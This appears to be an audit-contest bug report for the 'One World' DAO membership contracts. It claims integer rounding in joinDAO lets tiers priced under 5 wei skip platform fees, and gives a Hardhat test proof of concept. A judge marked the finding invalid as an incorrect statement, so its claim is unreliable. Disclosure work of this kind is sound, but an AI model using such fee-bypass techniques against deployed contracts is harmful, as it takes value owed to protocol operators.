Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: low
Invalid

If MembershipERC1155 has a tier with tierPrice < 5 then it cain join dao avoiding paying platform fees

Summary

Vulnerability Details

Creating a new Dao with tiers.price < 5 allows to not pay protocolfees when joining it.
This occours because of how platformFees is calculated in contracts/dao/MembershipFactory.sol::joinDAO function:

function joinDAO(address daoMembershipAddress, uint256 tierIndex) external {
//...
=> uint256 platformFees = (20 * tierPrice) / 100;
//...

So, if 20 * tierPrice < 100, then platformFee equals 0, and payment to protocol can be bypassed.

PoC

Add it in test/MembershipFactory.test.ts in section describe "Create New DAO Membership"
In this PoC a new dao is created with a tier.price < 5, so when a user joins it pays no fees to protocol

it("AAA If tier.price < 5 platform fee == 0 ", async function () {
console.log("If tier.price < 5 platform fee == 0");
await currencyManager.addCurrency(testERC20.address); // Assume addCurrency function exists in CurrencyManager
const daoConfig = {
ensname: "testdao2.eth",
currency: testERC20.address,
maxMembers: 100,
noOfTiers: 2,
daoType: DAOType.GENERAL // Assuming 0 represents a specific DAO type for testing
};
const tierConfigs = [
{ price: 3, amount: 50, minted: 0,power: 12 },
{ price: 4, amount: 50, minted: 0,power:6 },
];
const tx = await membershipFactory.createNewDAOMembership(daoConfig, tierConfigs);
const receipt = await tx.wait();
const event = receipt.events.find((event:any) => event.event === "MembershipDAONFTCreated");
const ensName = event.args[2][0];
const nftAddress = event.args[1];
const ensToAddress = await membershipFactory.getENSAddress("testdao2.eth");
const MyContract = await ethers.getContractFactory("MembershipERC1155");
const dao = MyContract.attach(
ensToAddress // The deployed contract address
);
const tierIndex = 0;
await testERC20.mint(addr1.address, ethers.utils.parseEther("200"));
await testERC20.connect(addr1).approve(membershipFactory.address, TierConfig[tierIndex].price * 100);
const owpWallet = await membershipFactory.owpWallet();
console.log("owpWallet => ",owpWallet)
const balanceBefore = await ethers.provider.call({
to: testERC20.address,
data: ethers.utils.hexConcat([
ethers.utils.id('balanceOf(address)').substring(0, 10),
ethers.utils.defaultAbiCoder.encode(
['address'], [owpWallet]
)
])
});
console.log(
"owpWallet balanceBefore\t",balanceBefore
);
console.log("Calling joinDAO with a tier < 5 so protocolfees == 0 ");
//address contractAddress, bytes memory data
await expect(membershipFactory.connect(addr1).joinDAO(dao.address, tierIndex)).to.emit(membershipFactory, "UserJoinedDAO");
const balanceAfter = await ethers.provider.call({
to: testERC20.address,
data: ethers.utils.hexConcat([
ethers.utils.id('balanceOf(address)').substring(0, 10),
ethers.utils.defaultAbiCoder.encode(
['address'], [owpWallet]
)
])
});
console.log(
"owpWallet balanceAfter\t",balanceAfter
);
});

Run test, first start a localnode, USE ANVIL cause hardhat node fails:

anvil

Exec test with:

reset; npx hardhat test --network localhost test/MembershipFactory.test.ts

Observe user joined dao, avoiding to pay platformFees

Impact

Creating a new Dao with tiers.price < 5 allows to not pay protocolfees when joining DAOs.
Altough price lower than 5 wei of a token seems a really low value, its not, because it depends of token value and tokens decimals
for eg
At current price, 4 wei of WBTC its around 0.0036 USD, if price of WBTC goes higher uncaptured value in protocolfees became considerable

Tools Used

Manual Review

Recommendations

Set a minimum fee when calculated platformFees is zero

Updates

Lead Judging Commences

0xbrivan2 Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.